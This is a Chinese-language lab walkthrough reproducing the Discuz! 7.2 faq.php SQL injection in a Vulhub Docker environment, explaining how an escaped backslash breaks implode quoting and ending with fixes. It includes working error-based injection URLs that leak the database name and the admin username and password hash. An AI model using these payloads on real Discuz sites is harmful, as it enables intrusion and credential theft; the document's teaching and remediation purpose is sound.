【Vulhub】Discuz! 7.2 faq.php SQL 注入深度复现手册 (转义逃逸篇)

Discuz! 7.2 faq.php SQL 注入深度复现手册 (转义逃逸篇)

本实验基于 Vulhub 的 Discuz! 7.2 环境。该漏洞展示了如何通过 PHP 数组特性绕过全局变量转义(addslashes)的高级技巧。

1. 漏洞环境搭建

根据你的本地目录结构,请执行以下命令来启动实验环境:

  1. 进入正确目录

    复制代码
    cd ~/Desktop/vulhub/discuz/wooyun-2010-080723
  2. 启动容器

    复制代码
    sudo docker-compose up -d
  3. 初始化安装

    • 访问 http://your-ip:8080/install
    • 按照提示完成 Discuz! 7.2 的安装。
    • 在 Vulhub 的这个实验环境下,默认的配置如下:
      • 数据库服务器 (Database Host) :填 db (不要填 localhost 或 127.0.0.1)
      • 数据库名 (Database Name) :填 discuz (或者你喜欢的名字,安装程序会自动创建)
      • 数据库用户名 (Database Username) :填 root
      • 数据库密码 (Database Password) :填 root

    第一步:定位漏洞接口

    访问 Discuz! 的帮助中心页面,目标参数为 action=grouppermission

    • 测试地址http://<your-ip>:8080/faq.php?action=grouppermission&gids[99]=%27
    • 预期现象 :页面出现数据库报错信息,说明单引号已成功带入 SQL 语句。

    逃逸组件:gids[99]=%27

    • %27 :单引号 ' 的 URL 编码。经过 Discuz 转义后变成 \'
    • 作用 :作为"引信"。利用反斜杠吞噬掉 implode 自动生成的中间单引号,为后续 Payload 逃逸打开大门。

    第二步:构造报错注入 Payload (验证漏洞)

    利用 gids 数组的两个元素进行拼接,触发单引号逃逸。我们使用报错注入来获取数据库名。

    • Payload

      复制代码
      /faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(database(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
    • 验证点 :观察报错信息中是否包含了数据库名称(如 discuz1

    第三步:提取管理员凭据 (获取数据)

    通过修改 concat() 内部的子查询,提取管理员表 cdb_members 中的用户名和密码。

    • Payload

      复制代码
      /faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(username,0x3a,password)%20from%20cdb_members%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23
    • 结果 :页面将抛出错误,形如 Duplicate entry 'admin:4f0...1',其中冒号后即为加密后的 MD5 Hash。

    攻击组件:gids[100][0]=) and (select ... )#

    该部分是真正的攻击逻辑,利用了 MySQL 报错注入 (Error-based SQLi)

    组成部分 详细说明
    ) 关键闭合。闭合原 SQL 语句中 IN ( 的左括号。
    and 逻辑连接词。将原查询与我们的恶意子查询连接。
    select 1 from (...)a 报错注入的固定外壳。外层的 select 配合内部的 group by 触发错误。
    count(*) 聚合函数。在 group by 报错注入中是必须的。
    concat(..., floor(rand(0)*2))x 核心逻辑concat 将我们要提取的数据与一个随机序列(0 或 1)连接。x 是该字段的别名。
    floor(rand(0)*2) 关键报错点 。产生一个确定的 0/1 序列。由于 rand(0) 的随机性是可预测的,在 MySQL 建立临时表进行 group by 时,会因为主键计算重复而抛出 Duplicate entry 错误。
    (select concat(username, 0x3a, password) ...) 目标子查询 。这是我们要偷取的数据。0x3a 是冒号 : 的十六进制。
    group by x 触发报错的开关。没有 group by 就不会产生主键冲突。
    # (%23) 注释掉原 SQL 语句中剩余的所有部分(尤其是最后那个多余的单引号和括号)。

    实验结束后,为了节省系统资源,建议及时销毁容器。

    停止并移除容器/网络(推荐):

    复制代码
    sudo docker-compose down

    2. 核心原理:转义字符的"吞噬"

    这个漏洞的精妙之处在于利用"转义的反斜杠"去注销掉"程序自动生成的单引号"

    逻辑分析

    Discuz! 的 faq.php 有如下代码:

    复制代码
    $gids = implode("','", $gids); // 将数组元素用 ',' 连接
    $query = $db->query("SELECT ... WHERE groupid IN ('$gids')");

    逃逸过程:

    1. 输入 :我们传入 gids[99]='
    2. 全局转义 :Discuz! 的全局防御会将 ' 转义为 \'
    3. 数组拼接implode 函数在两个数组元素之间插入 ','
    4. 最终 SQL 结构WHERE groupid IN ('\'',' ,(Payload))#')
      • 关键点 :注意 \' 后面的那个单引号。原本这个单引号是 implode 生成用来闭合第一个元素的,但现在它前面紧跟着一个被转义出来的反斜杠 \
      • 结果 :在 SQL 解析时,\' 被当成了一个普通字符(单引号),而失去了闭合字符串的功能。
      • 连锁反应 :导致 SQL 引擎认为第一个单引号(groupid IN ( 后面那个)和第二个单引号(implode 后面那个)才是一对。
      • Payload 逃逸 :原本属于第二个元素的 Payload 成功脱离了单引号的束缚,成为了 SQL 语句的一部分。

    3.建议使用 Burp Suite

    在复现该漏洞时,浏览器往往是最大的"干扰项":

    1. URL 自动转义 :部分浏览器会自动处理 %27 或反斜杠,导致发送到服务器的字符与预期不符,使"单引号逃逸"失败。
    2. 二进制安全 :Burp Suite 的 Repeater 模块可以确保原始字符(Raw Data)被原样发送。
    3. 编码控制
      • 在 Burp 中选中 Payload 部分,按 Ctrl+U 进行 URL 编码。
      • 确保数组下标(如 gids[100][0])中的方括号不需要被二次转义。

    4. 总结与修复方案

    漏洞本质

    这是一个典型的由于不安全的字符串拼接全局转义逻辑冲突 导致的漏洞。开发者认为 implode 产生的结构是天然闭合的,却没意识到转义后的反斜杠具有"向前吞噬"单引号的能力

    防御方案

    1. 强制类型转换 (最简单有效): 对所有数组输入进行整数化处理:

      复制代码
      $gids = array_map('intval', $_GET['gids']);
    2. 弃用拼接,使用预编译 : 在现代 PHP 开发中,应始终使用 PDOmysqli 的预编译语句(Prepared Statements),将数据与指令彻底分离。

    3. 关闭报错回显 : 在 php.ini 中设置 display_errors = Off。虽然不能防止注入,但可以增加攻击者获取数据的难度(强制其使用盲注)。

相关推荐
李广坤11 小时前
MySQL 大表字段变更实践(改名 + 改类型 + 改长度)
数据库
JaguarJack17 小时前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo17 小时前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
爱可生开源社区1 天前
2026 年,优秀的 DBA 需要具备哪些素质?
数据库·人工智能·dba
随逸1772 天前
《从零搭建NestJS项目》
数据库·typescript
JaguarJack2 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理2 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
加号32 天前
windows系统下mysql多源数据库同步部署
数据库·windows·mysql
シ風箏2 天前
MySQL【部署 04】Docker部署 MySQL8.0.32 版本(网盘镜像及启动命令分享)
数据库·mysql·docker
李慕婉学姐2 天前
Springboot智慧社区系统设计与开发6n99s526(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库·spring boot·后端